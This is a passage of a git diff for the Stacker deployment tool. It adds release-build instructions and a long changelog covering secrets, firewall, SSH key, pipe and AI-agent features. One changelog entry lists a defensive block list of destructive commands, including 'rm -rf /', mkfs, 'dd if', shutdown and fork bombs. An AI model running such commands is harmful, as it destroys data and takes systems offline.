skip_serializing_if +✓ **Error Pattern**: Typed error methods returning HTTP errors +✓ **Token Pattern**: 86-char random string stored in Vault/DB +✓ **Async Pattern**: Fire-and-forget with actix_web::rt::spawn +✓ **Retry Pattern**: Exponential backoff (2^n seconds) +✓ **Audit Pattern**: AuditLog with details + IP + timestamp +✓ **Ownership Pattern**: User ID string comparison with .as_deref() +✓ **Logging Pattern**: tracing::instrument + tracing::info/warn/error +✓ **Injection Pattern**: web::Data for all shared state + +--- + +## Next Steps + +1. **Read QUICK_REFERENCE.md** for overview (10 min) +2. **Review CODE_SNIPPETS.md** for actual code (20 min) +3. **Create new files** and update existing ones (30 min) +4. **Run database migrations** (5 min) +5. **Test endpoints** with curl or Postman (10 min) +6. **Refer to IMPLEMENTATION_GUIDE.md** if clarification needed + +--- + +## Questions? + +Each documentation file has specific use cases: + +- **"How does X pattern work?"** → IMPLEMENTATION_GUIDE.md +- **"What's the quick reference?"** → QUICK_REFERENCE.md +- **"Show me the code"** → CODE_SNIPPETS.md +- **"What about error handling?"** → QUICK_REFERENCE.md or IMPLEMENTATION_GUIDE.md +- **"How do I test?"** → QUICK_REFERENCE.md (Testing section) + +--- + +Generated from analysis of: +- `/Users/vasilipascal/work/try.direct/stacker/src/routes/` - Route handlers +- `/Users/vasilipascal/work/try.direct/stacker/src/middleware/` - Auth & authorization +- `/Users/vasilipascal/work/try.direct/stacker/src/db/` - Database queries +- `/Users/vasilipascal/work/try.direct/stacker/src/models/` - Data models +- `/Users/vasilipascal/work/try.direct/stacker/src/helpers/` - Response builders & utilities +- `/Users/vasilipascal/work/try.direct/stacker/src/startup.rs` - Server configuration + diff --git a/stacker/stacker/BUILD_RELEASE.md b/stacker/stacker/BUILD_RELEASE.md new file mode 100644 index 0000000..d714b29 --- /dev/null +++ b/stacker/stacker/BUILD_RELEASE.md @@ -0,0 +1,45 @@ +# Release build (GitHub Actions) + +This repository uses GitHub Actions to build release artifacts: + +- `release.yml` builds `stacker-cli` binaries on release publish. +- `docker.yml` builds and pushes `trydirect/stacker:` on release publish. + +## Release via GitHub CLI + +### 1) Ensure you are on `main` + +```bash +git checkout main + +git pull +``` + +### 2) Create and publish the release + +```bash +gh release create v0.2.8 --generate-notes +``` + +This creates the `v0.2.8` tag and publishes the release, which triggers: + +- CLI binary builds (linux + macOS) and uploads to the release. +- Docker image build and push tagged as `trydirect/stacker:v0.2.8`. + +### 3) Verify artifacts + +```bash +gh release view v0.2.8 --json assets --jq '.assets[].name' +``` + +### 4) Check workflows + +```bash +gh run list -L 10 +``` + +## Optional: Re-run workflows + +```bash +gh run rerun +``` diff --git a/stacker/stacker/CHANGELOG.md b/stacker/stacker/CHANGELOG.md new file mode 100644 index 0000000..46041e7 --- /dev/null +++ b/stacker/stacker/CHANGELOG.md @@ -0,0 +1,759 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +## [Unreleased] + +### Added — Onboarding setup helpers + +- Added `stacker config setup ai` to enable and update `ai.*` settings from the + CLI, including Ollama-friendly `--provider`, `--endpoint`, `--model`, + `--timeout`, and repeatable `--task` options. +- Cloud/server deploys now bootstrap missing `.env` files from adjacent + `.env.example` files when compose or `stacker.yml` references them, using + restrictive local permissions where supported. +- Cloud deploy `--key` and `--key-id` overrides are resolved through the active + logged-in Stacker API before prompt selection, and non-interactive shells now + receive actionable cloud credential guidance instead of hanging. +- Deploy validation now prints concise private registry credential guidance when + images may require authentication and no registry auth is resolved. +- `stacker config validate` now points users to `stacker config fix` when it + finds empty structural path fields. +- Cloud/server deploys now skip post-deploy server IP polling and local backup + key installation after terminal paused/error statuses, avoiding repeated + "server IP not yet assigned" retries after a failed installer run. +- Hetzner cloud deploys now normalize user-facing location aliases such as + `nbg1` to installer-compatible datacenter values such as `nbg1-dc3` before + publishing install-service payloads. +- `stacker config setup cloud` now suggests Hetzner `cx23` by default instead + of older `cpx*` examples. +- Remote config bundles now keep compose `env_file` and bind-mount references + project-relative so Docker Compose sees copied files under + `/home/trydirect/project`. +- Cloud/server deploy output now lists config-bundle file mappings and rejects + absolute config-bundle destinations before sending a deploy request. +- Deploy-time config files are now mirrored into the installer runtime-file + contract so non-compose files such as `.env` are materialized before Docker + Compose starts. + +## [0.2.8] — 2026-05-15 +### Added — Configuration inventory, diff, check, and promotion planning + +- Added `stacker config inventory --env ` to list effective configuration + keys by app/service target and source without printing secret values. +- Added `stacker config diff --from --to ` to compare local + environment/profile inventories and report missing, target-only, and changed + keys. +- Added optional `config_contract` support in `stacker.yml` and + `stacker config check --env --strict` to fail when required keys are + missing from an environment. +- Added `stacker config contract suggest --env ` to generate a + reviewable `config_contract` snippet from the current inventory. +- Added `--remote` support for `config inventory`, `config diff`, and + `config check`, enriching target inventories with remote service secret + metadata without fetching plaintext Vault values. +- Added `stacker config promote --from --to ` to generate safe + target placeholders for missing keys; secret values are not copied. + +### Added — App-only deploy environment selection + +- Added `stacker env [environment]` to show or persist the active deploy + environment/profile in `.stacker/active-env`. +- `stacker agent deploy-app` and `stacker secrets push` now accept + `--env ` / `--environment ` for one-off environment + selection during app-only updates. + +### Fixed — App-local compose env files for deploy-app + +- `stacker agent deploy-app ` now reads + `/docker//compose.yml` when that app-local compose file exists and + merges that app's service definition into the full project-level compose, + instead of replacing the remote stack compose with a single-service file. +- App-local deploys now bundle only the target app-local config files while + using the project-level compose as topology, so missing env/config files for + unrelated services no longer block `deploy-app `. +- App-local `env_file` references are uploaded in the deploy-app config bundle, + and Vault-rendered service secrets for the same target are merged into the + matching remote `.env` file before the Status agent writes it. +- Deploy-app command creation now fails if Stacker cannot render the target's + runtime env, instead of silently falling back to a stale/raw `.env` that may + omit Vault-backed service secrets. +- `stacker agent deploy-app` and `stacker secrets push` now use the same + server-side deploy-app enrichment path when enqueueing agent commands, so + app-local `.env` files receive Vault-rendered service secrets during direct + agent pushes as well as command-create flows. +- Missing config-bundle file errors now include the resolved path instead of a + bare `No such file or directory` message. +- If an app-local `.env` exists but the selected compose service has no + `env_file` entry, the CLI prints a warning explaining that Docker Compose will + not inject local or remote-rendered env values into that container. + +### Added — Canonical runtime environment rendering + +- Remote runtime environment files now use the canonical host path + `/home/trydirect/project/.env`; generated compose files reference it as + `env_file: .env`. +- `stacker config show --resolved` prints the local env source path, canonical + remote env path, compose env reference, config hash/version metadata, and + contributing layers without printing secret values. +- Runtime env rendering now has deterministic precedence and hashing, rejects + reserved `STACKER_*`, `DOCKER_*`, `VAULT_*`, and `AGENT_*` keys, and provides + drift checks that require `--force` before overwriting changed remote env + content. + +### Fixed — Reuse private registry auth for agent-managed pulls + +- Deploy-time `deploy.registry` credentials are now stored in trusted Stacker + secret storage and reused for later Status-managed pulls such as + `stacker agent deploy-app`. +- The Status agent now performs private-image pulls with a temporary + `DOCKER_CONFIG` auth context and cleans it up immediately after the pull, + instead of relying on host Docker login state. +- When no stored registry auth exists, pull behavior remains backward + compatible: anonymous pull is attempted first and cached local images can + still allow the redeploy to complete with warnings. + +## [0.2.8] — 2026-05-12 + +### Added — Remote service/app target secrets + +- `stacker secrets set --scope service --service ` now supports real + deployable service/app targets, not only the main app code. Valid targets are + discovered with `stacker secrets apps`. +- Stacker.yml `services:` entries are synced as service targets while the main + `app:` remains the web target, so remote secrets can be scoped to support + services such as `upload`, `worker`, or `postgres`. +- Image-backed services from `deploy.compose_file` are registered as service + targets during cloud/server deploy preparation when they can be represented + safely; build-only and platform-managed services are skipped with warnings. +- Service-scoped remote secrets remain isolated per target and are rendered only + into the matching service; metadata APIs and CLI output still never return + plaintext Vault values. +- CLI help and errors now use "deployable service/app target" wording and list + available targets when an unknown service code is requested. + +### Added — MCP remote service secret tools + +- Added MCP tools for the remote service secret lifecycle: + `list_remote_secret_targets`, `list_remote_service_secrets`, + `get_remote_service_secret`, `set_remote_service_secret`, and + `delete_remote_service_secret`. +- MCP remote secret reads are metadata-only, match the CLI/API target model, and + write secret values directly to Vault without returning plaintext values. +- All MCP tool calls now require explicit per-tool Casbin `CALL` permission under + `/mcp/tools/` before the handler executes; marketplace admin tools + are granted only to `group_admin`. +- Sensitive MCP write/destructive operations, including remote secret writes and + deletes, additionally require a token or auth profile with verified 2FA/MFA + before Vault or deployment state is touched. + +### Added — Cloud provider firewall operations + +- Added `stacker cloud firewall add|remove|list` for cloud-provider firewall + changes that do not require SSH access to the server. +- Added universal Stacker-to-Install-Service protocol + `stacker.cloud_firewall.v1` with shared firewall rule parsing reused from the + existing agent firewall flow. +- Added `POST /server/{id}/cloud-firewall` and Install Service MQ routing + `install.firewall.{provider}.v1`; Hetzner (`htz`) is the first supported + provider. +- Casbin/sqlx migration `20260717120016_casbin_cloud_firewall` grants + `root`, `group_admin`, and `group_user` access to modify cloud firewalls. + +### Added — Cloud deploy local SSH backup access + +- `stacker deploy --target cloud` now creates or reuses a local Ed25519 backup + key under the Stacker config directory and authorizes it on the deployed + server when possible. +- New server API endpoint `POST /server/{id}/ssh-key/authorize-public-key` + accepts caller-provided public key material, validates ownership and key + format, then uses the server-side Vault key to append it to + `authorized_keys` idempotently. +- The Vault private key is never returned to the CLI or written to local files; + the CLI sends only the local public key and prints a copy-paste-ready `ssh` + command after successful authorization. +- `stacker ssh-key inject` remains the repair path for using an + already-working private key to re-add the Vault public key to a server. +- Casbin/sqlx migration `20260717120014_casbin_server_ssh_authorize_public_key` + grants `group_user` and `root` access to the new authorization endpoint. + +### Fixed — Managed Nginx Proxy Manager duplication + +- Cloud/server project bodies no longer add `nginx_proxy_manager` as a project + app when proxy support is already managed through `extended_features`. +- User-declared `nginx_proxy_manager` / NPM services are skipped from project app + sync when `proxy.type` is `nginx` or `nginx-proxy-manager`, preventing the + duplicate `project-nginx_proxy_manager-*` container alongside the managed NPM + container. +- Server-side project app sync, compose child-service discovery, agent snapshots, + and deploy-app upserts now treat NPM as platform-managed so older clients or + stale records cannot keep re-registering it as a user app. +- Data migration `20260717120015_cleanup_nginx_proxy_manager_project_apps` + removes existing stale `nginx_proxy_manager` project app rows that caused NPM + to remain visible after upgrading. +- `stacker agent status` hides stale project-scoped platform containers such as + `project-nginx_proxy_manager-*` while still showing the managed + `nginx-proxy-manager` container. + +### Fixed — Compose public ports in cloud firewall + +- Cloud/server deploy now reads published ports from the resolved Compose file + and passes them into project metadata before invoking the installer, so + provider firewalls receive app ports such as Coolify's `8000:8080` instead of + the generic custom-app fallback `8080`. + +### Fixed — Deployment IP persistence on paused/failed installs + +- Cloud/server deploy status handling now extracts a server IP from installer + progress messages such as `178.104.222.170: Copy files is done` when the + structured server record has not populated `srv_ip` yet. +- The CLI saves that fallback IP into the local deployment context, and the MQ + listener persists the IP server-side so paused or failed deployments still + retain a usable host address for SSH repair and retry workflows. + +### Changed — Agent proxy SSL control + +- `stacker agent configure-proxy` now supports `--no-ssl` to create or update a + plain HTTP Nginx Proxy Manager host without requesting a Let's Encrypt + certificate. + +### Changed — Server bootstrap SSH key handling + +- `stacker deploy --target server` now treats a user-provided `deploy.server.ssh_key` as a + **transient bootstrap credential** for first SSH contact only. +- Stacker now persists only a **Stacker-managed generated deploy key** in Vault for ongoing + server-side automation and later redeploys. +- The user-provided bootstrap key is still sent for the live bootstrap run, but it is no longer + stored as the server's long-term key material on the Stacker side. + +### Added — Local Pipe Mode + +- **`stacker target [local|cloud|server]`** — switch deployment target mode; persists in `.stacker/active-target` +- **Local pipe creation** — `stacker pipe create` works without a cloud deployment (`deployment_hash` is now optional, `is_local` flag on PipeInstance/PipeExecution) +- **Local scanning** — `stacker pipe scan` now performs local endpoint/resource discovery on matched containers instead of only listing Docker inventory +- **Explicit scan modes** — `stacker pipe scan --containers [FILTER]` for local container discovery + probing and `stacker pipe scan --app [--container ]` for remote endpoint probing +- **Local triggering** — `stacker pipe trigger` executes via `docker exec` / HTTP against local containers +- **`stacker pipe deploy --deployment `** — promote a local pipe to a remote deployment (clones config to new remote instance) +- **`GET /api/v1/pipes/instances/local`** — list local pipe instances for the authenticated user +- **`POST /api/v1/pipes/instances/{id}/deploy`** — deploy (promote) local pipe to remote +- **`stacker init --target local`** — initialize project in local mode directly +- Database migration: `deployment_hash` nullable, `is_local BOOLEAN DEFAULT FALSE`, partial index on local instances + +### Added — Canonical runtime environment rendering + +- Remote runtime environment files now use the canonical host path + `/home/trydirect/project/.env`; generated compose files reference it as + `env_file: .env`. +- `stacker config show --resolved` prints the local env source path, canonical + remote env path, compose env reference, config hash/version metadata, and + contributing layers without printing secret values. +- Runtime env rendering now has deterministic precedence and hashing, rejects + reserved `STACKER_*`, `DOCKER_*`, `VAULT_*`, and `AGENT_*` keys, and provides + drift checks that require `--force` before overwriting changed remote env + content. + +### Fixed — App-local compose env files for deploy-app + +- `stacker agent deploy-app ` now reads + `/docker//compose.yml` when that app-local compose file exists and + merges that app's service definition into the full project-level compose, + instead of replacing the remote stack compose with a single-service file. +- App-local deploys now bundle only the target app-local config files while + using the project-level compose as topology, so missing env/config files for + unrelated services no longer block `deploy-app `. +- Deploy-app now preserves the shared project `.env` in the config bundle when + the selected runtime topology uses root `env_file: .env`. +- App-local `env_file` references are uploaded in the deploy-app config bundle, + and Vault-rendered service secrets for the same target are merged into the + matching remote `.env` file before the Status agent writes it. +- Deploy-app command creation now fails if Stacker cannot render the target's + runtime env, instead of silently falling back to a stale/raw `.env` that may + omit Vault-backed service secrets. +- Missing config-bundle file errors now include the resolved path instead of a + bare `No such file or directory` message. +- If an app-local `.env` exists but the selected compose service has no + `env_file` entry, the CLI prints a warning explaining that Docker Compose will + not inject local or remote-rendered env values into that container. + +### Fixed — Reuse private registry auth for agent-managed pulls + +- Deploy-time `deploy.registry` credentials are now stored in trusted Stacker + secret storage and reused for later Status-managed pulls such as + `stacker agent deploy-app`. +- The Status agent now performs private-image pulls with a temporary + `DOCKER_CONFIG` auth context and cleans it up immediately after the pull, + instead of relying on host Docker login state. +- When no stored registry auth exists, pull behavior remains backward + compatible: anonymous pull is attempted first and cached local images can + still allow the redeploy to complete with warnings. + +## [0.2.7] — 2026-04-10 + +### Security — IDOR Hardening & Test Coverage + +- **69 IDOR security integration tests** across 12 test files (`tests/security_*.rs`) covering every API endpoint +- **18 CLI endpoint security tests** (`tests/security_cli.rs`) — verify `stacker list`, `deploy`, `destroy` honor user boundaries +- **Defense-in-depth**: `user_id` parameter added to `project::delete`, `project::fetch_one_by_name`, `cloud::delete`, `server::delete` DB functions +- **Cross-user isolation**: all list endpoints (projects, clouds, servers, deployments, commands, pipes, clients, chats, ratings) return only the authenticated user's resources +- **Credential logging hardened**: sensitive cloud tokens and secrets no longer printed to server logs + +### Added — Pipe Feature Phase 1 (Container Linking) + +- `stacker pipe list` — query and display pipe instances for a deployment (status, triggers, errors, last triggered) +- `stacker pipe create ` — interactive flow: scan both apps via agent, pick endpoints, auto-match fields by name, create template + instance via API +- `stacker pipe activate ` — set pipe to active, send `activate_pipe` agent command with full config (endpoints, field mapping, trigger type, poll interval) +- `stacker pipe deactivate ` — pause pipe, send `deactivate_pipe` agent command +- `stacker pipe trigger ` — one-shot pipe execution with optional `--data` JSON input +- `PUT /api/v1/pipes/instances/{id}/status` — new REST endpoint for pipe status updates +- Agent command types: `activate_pipe`, `deactivate_pipe`, `trigger_pipe` with full parameter/result validation (9 unit tests) +- 6 new client methods + 4 API request/response structs in `stacker_client.rs` + +### Fixed — Per-Target Deployment Lock Files + +- Deployment lock files are now namespaced by target: `.stacker/.lock` (e.g. `local.lock`, `cloud.lock`, `server.lock`) +- Local deploys no longer overwrite cloud/server connection details +- Existing `deployment.lock` files automatically migrated on read + +## [0.2.6] — 2026-04-08 + +### Added — Kata Containers Runtime Support + +- `runtime` field on `deploy_app` and `deploy_with_configs` agent commands — values: `runc` (default), `kata` +- Server-side validation rejects unknown runtime values with HTTP 422 +- Kata capability gating: agent `/capabilities` response checked before scheduling Kata deployments; agents without `kata` feature receive 422 rejection +- `--runtime kata|runc` flag on `stacker deploy` and `stacker agent deploy-app` CLI commands +- Database migration `20260406170000`: `runtime` column added to `deployment` table, persisted across redeploys +- Vault integration: per-deployment runtime preference (`store_runtime_preference` / `fetch_runtime_preference`) and org-level runtime policy (`fetch_org_runtime_policy`) +- Compose template support: `runtime:` field conditionally emitted in generated `docker-compose.yml` when runtime is not `runc` (both Tera and CLI generators) +- Enhanced tracing: `runtime` field added to `Agent enqueue command` span for structured log filtering +- Documentation: `docs/kata/` — setup guide, network constraints, monitoring/observability reference +- Provisioning: Ansible role and Terraform module for Hetzner dedicated-CPU (CCX) servers with KVM/Kata pre-configured (integrated into TFA) + +### Fixed — Casbin ACL for marketplace compose access +- Added Casbin policy granting `group_admin` role GET access to `/admin/project/:id/compose`. +- This allows the User Service OAuth client (which authenticates as `root` → `group_admin`) to fetch compose definitions for marketplace templates. +- Migration: `20260325140000_casbin_admin_compose_group_admin.up.sql` + +### Added — Agent Audit Ingest Endpoint and Query API + +- New database migration `20260321000000_agent_audit_log` creating the `agent_audit_log` table +- `POST /api/v1/agent/audit` — receives audit event batches from the Status Panel +- `GET /api/v1/agent/audit` — queries the audit log with optional filters + +### Added — Pipe (Container Linking) Foundation + +- New `stacker pipe scan|create|list` CLI subcommands for connecting containerized apps +- `ProbeEndpoints` agent command: auto-discovers OpenAPI, HTML forms, REST endpoints on containers +- Two-level storage: `pipe_templates` (reusable) + `pipe_instances` (per-deployment) +- REST API: `POST/GET/DELETE /api/v1/pipes/templates` and `/instances` +- Data contracts with validation for probe_endpoints command parameters and results + +### Added — Marketplace Developer & Buyer Flows + +- New `stacker submit` command — packages the current stack and submits to marketplace for review +- New `stacker marketplace status [name]` — shows developer submissions with status badges +- New `stacker marketplace logs ` — shows review history +- Auto-publish on approval + +### Added — Buyer Install Endpoints (Server) + +- `GET /api/v1/marketplace/install/{purchase_token}` — generates install script +- `GET /api/v1/marketplace/download/{purchase_token}` — serves stack archive +- `POST /api/v1/marketplace/agents/register` — agent self-registration endpoint + +## [0.2.6] — 2026-03-11 + +### Added — Firewall (iptables) Management + +- New MCP tools for configuring iptables firewall rules on remote servers: + - `configure_firewall` — Add, remove, list, or flush iptables rules with public/private port definitions + - `list_firewall_rules` — List current iptables rules on a deployment target server + - `configure_firewall_from_role` — Auto-configure firewall rules from Ansible role port definitions +- Two execution methods: + - **Status Panel** (preferred): Commands executed via the Status Panel agent directly on the target server + - **SSH**: Fallback for servers without Status Panel agent (uses Ansible-based execution) +- Port rule types: + - **Public ports**: Opened to all IPs (0.0.0.0/0) — use for HTTP, HTTPS, public APIs + - **Private ports**: Restricted to specific IPs/CIDRs — use for databases, internal services +- Integration with Ansible roles: Automatically extracts `public_ports` and `private_ports` from role configuration +- Rules can be persisted across reboots via the `persist` parameter + +### Added — Status Panel `configure_firewall` command type + +- New `configure_firewall` command type for Status Panel agents +- Validates action (add, remove, list, flush), port numbers, and protocols (tcp/udp) +- Supports optional comments for rule documentation + +## [0.2.5] — 2026-03-07 + +### Added — Agent control from the CLI (`stacker agent`) + +- New `stacker agent` subcommand with 9 commands for remote Status Panel agent management: + - `stacker agent health [--app NAME]` — check agent connectivity / container health + - `stacker agent logs [--lines N]` — retrieve container logs from the target server + - `stacker agent restart ` — restart a container via the agent + - `stacker agent deploy-app --app NAME --image IMAGE [--tag TAG]` — deploy or update an app container + - `stacker agent remove-app --app NAME [--remove-volumes] [--remove-images]` — remove an app container with optional cleanup + - `stacker agent configure-proxy --app NAME --domain DOMAIN [--ssl]` — configure Nginx Proxy Manager + - `stacker agent status` — display agent snapshot (containers, versions, uptime) + - `stacker agent history` — show recent command execution history + - `stacker agent exec --command-type TYPE [--params JSON]` — execute a raw agent command +- All commands support `--json` for machine-readable output and `--deployment ` to target a specific deployment +- Smart deployment hash resolution: explicit flag → DeploymentLock → stacker.yml project identity → API lookup +- Spinner-based UX with configurable timeout while waiting for agent results + +### Added — Infrastructure helpers + +- `CliRuntime` (`src/cli/runtime.rs`) — eliminates ~15 lines of credentials + tokio runtime + client boilerplate per CLI command +- `fmt` module (`src/cli/fmt.rs`) — shared terminal formatting helpers: `truncate()`, `separator()`, `pretty_json()`, `display_opt()` +- `AgentEnqueueRequest` — builder pattern with `with_parameters()`, `with_priority()`, `with_timeout()` +- `AgentCommandInfo` — response type for agent command status and results +- StackerClient: added `agent_enqueue()`, `agent_command_status()`, `agent_poll_result()`, `agent_snapshot()` API methods +- 4 new agent error variants: `AgentNotFound`, `AgentOffline`, `AgentCommandTimeout`, `AgentCommandFailed` + +### Added — MCP agent control tools + +- `deploy_app` — deploy or update an app container via the Status Panel agent +- `remove_app` — remove an app container with optional volume/image cleanup +- `configure_proxy_agent` — configure Nginx Proxy Manager reverse-proxy entries +- `get_agent_status` — check agent registration, version, and last heartbeat + +### Added — AI agent tools + +- 3 new AI tool definitions: `agent_health`, `agent_status`, `agent_logs` +- Wired into `execute_tool()` via subprocess dispatch (`stacker agent ... --json`) +- Available in `stacker ai ask --write` and interactive chat modes +## [Unreleased] — 2026-03-04 + +### Fixed +- **Agent registration 403**: added Casbin migration `20260304220000_fix_casbin_agent_register_anon` that idempotently grants `group_anonymous` the right to `POST /api/v1/agent/register`. Ansible-driven deployments (statuspanel, etc.) call this endpoint without an Authorization header; without this policy the Casbin middleware returns 403. + +## [0.2.4] — 2026-02-27 + +### Added — SSH key management (`stacker ssh-key`) + +- New `stacker ssh-key generate --server-id N` command — generates a Vault-backed SSH key pair for a server; optional `--save-to PATH` to save the private key locally +- New `stacker ssh-key show --server-id N` command — displays the public SSH key (`--json` for machine-readable output) +- New `stacker ssh-key upload --server-id N --public-key FILE --private-key FILE` — uploads an existing SSH key pair to the server +- StackerClient: added `generate_ssh_key()`, `get_ssh_public_key()`, `upload_ssh_key()` API methods + +### Added — Service template catalog (`stacker service`) + +- New `stacker service add ` command — resolves a service template and appends it to `stacker.yml` + - 20+ built-in templates: postgres, mysql, mongodb, redis, memcached, rabbitmq, traefik, nginx, nginx_proxy_manager, wordpress, elasticsearch, kibana, qdrant, telegraf, phpmyadmin, mailhog, minio, portainer + - Alias support: `wp`→wordpress, `pg`→postgres, `my`→mysql, `mongo`→mongodb, `es`→elasticsearch, `mq`→rabbitmq, `pma`→phpmyadmin, `mh`→mailhog + - Auto-adds dependencies (e.g. `wordpress` pulls in `mysql` if missing) + - Creates `.yml.bak` backup before modifying, checks for duplicate services + - Falls back to offline catalog if marketplace API is unreachable +- New `stacker service list [--online]` — shows available service templates grouped by category + +### Added — AI `add_service` tool (write mode) + +- In `stacker ai ask --write` and `stacker ai` (chat), the AI can now call `add_service` to add services from the built-in catalog to `stacker.yml` +- The AI system prompt is enriched with the full service catalog so it knows what templates are available +- Supports custom overrides: `custom_ports` and `custom_env` parameters on the tool call +- Example: `stacker ai ask --write "add postgres and redis to my stack"` + +### Added — Marketplace template API methods + +- StackerClient: added `list_marketplace_templates()` and `get_marketplace_template(slug)` for fetching templates from the Stacker server marketplace + +## [0.2.3] — 2026-02-23 + +### Changed — `stacker init` now generates `.stacker/` directory + +- `stacker init` now creates `.stacker/Dockerfile` and `.stacker/docker-compose.yml` alongside `stacker.yml`, so the project is ready to deploy immediately without running `deploy --dry-run` first +- Dockerfile generation is skipped when `app.image` or `app.dockerfile` is set in the config +- Compose generation is skipped when `deploy.compose_file` is set + +### Changed — `stacker deploy` reuses existing `.stacker/` artifacts + +- `deploy` no longer errors when `.stacker/Dockerfile` or `.stacker/docker-compose.yml` already exist (e.g. from `stacker init`) +- Existing artifacts are reused; pass `--force-rebuild` to regenerate them + +### Added — `--ai-provider`, `--ai-model`, `--ai-api-key` flags on `stacker-cli init` + +- The `stacker-cli` binary (`console/main.rs`) now supports all AI-related flags that the standalone `stacker` binary already had: + - `--ai-provider ` — openai, anthropic, ollama, custom + - `--ai-model ` — e.g. `qwen2.5-coder`, `deepseek-r1`, `gpt-4o` + - `--ai-api-key ` — API key for cloud AI providers + +### Added — AI troubleshooting suggestions on deploy failures + +- On `stacker deploy` failures (`DeployFailed`), CLI now attempts AI-assisted troubleshooting automatically +- It sends the deploy error plus generated `.stacker/Dockerfile` and `.stacker/docker-compose.yml` snippets to the configured AI provider +- If AI is unavailable or not configured, CLI prints deterministic fallback hints for common issues (for example `npm ci` failures, obsolete compose `version`, missing files, permissions, and network timeouts) + +### Fixed + +- `stacker-cli init --with-ai --ai-model qwen2.5-coder` no longer fails with an unrecognised flag error +- `stacker deploy` after `stacker init` no longer fails with `DockerfileExists` error + +## 2026-02-23 + +### Added - Configurable AI Request Timeout + +- New `timeout` field in `ai` config section of `stacker.yml` (default: 300 seconds) +- `STACKER_AI_TIMEOUT` environment variable overrides the config value +- Timeout applies to all AI providers (OpenAI, Anthropic, Ollama, Custom) +- Useful for large models on slower hardware: `STACKER_AI_TIMEOUT=900 stacker init --with-ai` +- Example stacker.yml: + ```yaml + ai: + enabled: true + provider: ollama + model: deepseek-r1 + timeout: 600 # 10 minutes + ``` +- 9 new tests for timeout resolution + +### Added - Stacker CLI: AI-Powered Project Initialization + +#### AI Scanner Module (`src/cli/ai_scanner.rs`) +- New `scan_project()` function performs deep project scanning, reading key config files (`package.json`, `requirements.txt`, `Cargo.toml`, `Dockerfile`, `docker-compose.yml`, `.env`, etc.) to build rich context for AI generation +- `build_generation_prompt()` constructs detailed prompts including detected app type, file contents, existing infrastructure, and env var keys (values redacted for security) +- `generate_config_with_ai()` sends project context to the configured AI provider and returns a tailored `stacker.yml` +- `strip_code_fences()` strips markdown code fences from AI responses +- System prompt encodes the full `stacker.yml` schema so the AI generates valid, deployable configs +- 16 unit tests + +#### AI-Powered `stacker init --with-ai` (`src/console/commands/cli/init.rs`) +- `stacker init --with-ai` now scans the project and calls the AI to generate a tailored `stacker.yml` with appropriate services, proxy, monitoring, and hooks +- New CLI flags on `stacker init`: + - `--ai-provider ` — AI provider: `openai`, `anthropic`, `ollama`, `custom` (default: `ollama`) + - `--ai-model ` — Model name (e.g. `gpt-4o`, `claude-sonnet-4-20250514`, `llama3`) + - `--ai-api-key ` — API key (or use environment variables) +- `resolve_ai_config()` resolves AI configuration with priority: CLI flag → environment variable → defaults +- Environment variable support: `STACKER_AI_PROVIDER`, `STACKER_AI_MODEL`, `STACKER_AI_API_KEY`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY` +- Graceful fallback: if AI generation fails (provider unreachable, invalid YAML), automatically falls back to template-based generation +- AI-generated configs include a review header noting the provider and model used +- If AI output fails validation, raw draft is saved to `stacker.yml.ai-draft` for manual review +- 8 new unit tests (18 total in init.rs), 3 new integration tests (11 total in cli_init.rs) + +#### Usage Examples +```bash +# AI-powered init with local Ollama +stacker init --with-ai + +# AI-powered init with OpenAI +stacker init --with-ai --ai-provider openai --ai-api-key sk-... + +# AI-powered init with Anthropic (key from env) +export ANTHROPIC_API_KEY=sk-ant-... +stacker init --with-ai --ai-provider anthropic + +# Falls back to template if AI fails +stacker init --with-ai # no Ollama running → template fallback +``` + +### Test Results +- **467 tests** (426 unit + 41 integration), 0 failures + +## 2026-02-18 + +### Fixed +- **Container Discovery 403**: Fixed Casbin authorization rules for `/project/:id/containers/discover` (GET) and `/project/:id/containers/import` (POST) + - Migration `20260204120000_casbin_container_discovery_rules` had wrong path prefix `/api/v1/project/...` instead of `/project/...` + - The middleware was rejecting the request with a 403 before CORS headers could be attached, causing the browser to report a misleading "CORS header missing" error + - New migration `20260218100000_fix_casbin_container_discovery_paths` removes the wrong rules and inserts the correct paths + +## 2026-02-03 + +### Fixed +- **API Performance**: Fixed 1MB+ response size issue in deployment endpoints + - **Snapshot endpoint** `/api/v1/agent/deployments/{deployment_hash}`: + - Added `command_limit` query parameter (default: 50) to limit number of commands returned + - Added `include_command_results` query parameter (default: false) to exclude large log results + - Example: `GET /api/v1/agent/deployments/{id}?command_limit=20&include_command_results=true` + - **Commands list endpoint** `/api/v1/commands/{deployment_hash}`: + - Added `include_results` query parameter (default: false) to exclude large result/error fields + - Added `limit` parameter enforcement (default: 50, max: 500) + - Example: `GET /api/v1/commands/{id}?limit=50&include_results=true` + - Created `fetch_recent_by_deployment()` in `db::command` for efficient queries + - Browser truncation issue resolved when viewing status_panel container logs + +### Changed +- **Frontend**: Updated `fetchStatusPanelCommandsFeed` to explicitly request `include_results=true` (blog/src/helpers/status/statusPanel.js) + +## 2026-02-02 + +### Added - Advanced Monitoring & Troubleshooting MCP Tools (Phase 7) + +#### New MCP Tools (`src/mcp/tools/monitoring.rs`) +- `GetDockerComposeYamlTool`: Fetch docker-compose.yml from Vault for a deployment + - Parameters: deployment_hash + - Retrieves `_compose` key from Vault KV path + - Returns compose content or meaningful error if not found + +- `GetServerResourcesTool`: Collect server resource metrics from agent + - Parameters: deployment_hash, include_disk, include_network, include_processes + - Queues `stacker.server_resources` command to Status Panel agent + - Returns command_id for async result polling + - Uses existing command queue infrastructure + +- `GetContainerExecTool`: Execute commands inside running containers + - Parameters: deployment_hash, app_code, command, timeout (1-120s) + - **Security**: Blocks dangerous commands at MCP level before agent dispatch + - Blocked patterns: `rm -rf /`, `mkfs`, `dd if`, `shutdown`, `reboot`, `poweroff`, `halt`, `init 0`, `init 6`, fork bombs, `:()` + - Case-insensitive pattern matching + - Queues `stacker.exec` command to agent with security-approved commands only + - Returns command_id for async result polling + +#### Registry Updates (`src/mcp/registry.rs`) +- Added Phase 7 imports and registration for all 3 new monitoring tools +- Total MCP tools now: 48+ + +### Fixed - CRITICAL: .env config file content not saved to project_app.environment + +#### Bug Fix: User-edited .env files were not parsed into project_app.environment +- **Issue**: When users edited the `.env` file in the Config Files tab (instead of using the Environment form fields), the `params.env` was empty `{}`. The `.env` file content was stored in `config_files` but never parsed into `project_app.environment`, causing deployed apps to not receive user-configured environment variables. +- **Root Cause**: `ProjectAppPostArgs::from()` in `mapping.rs` only looked at `params.env`, not at `.env` file content in 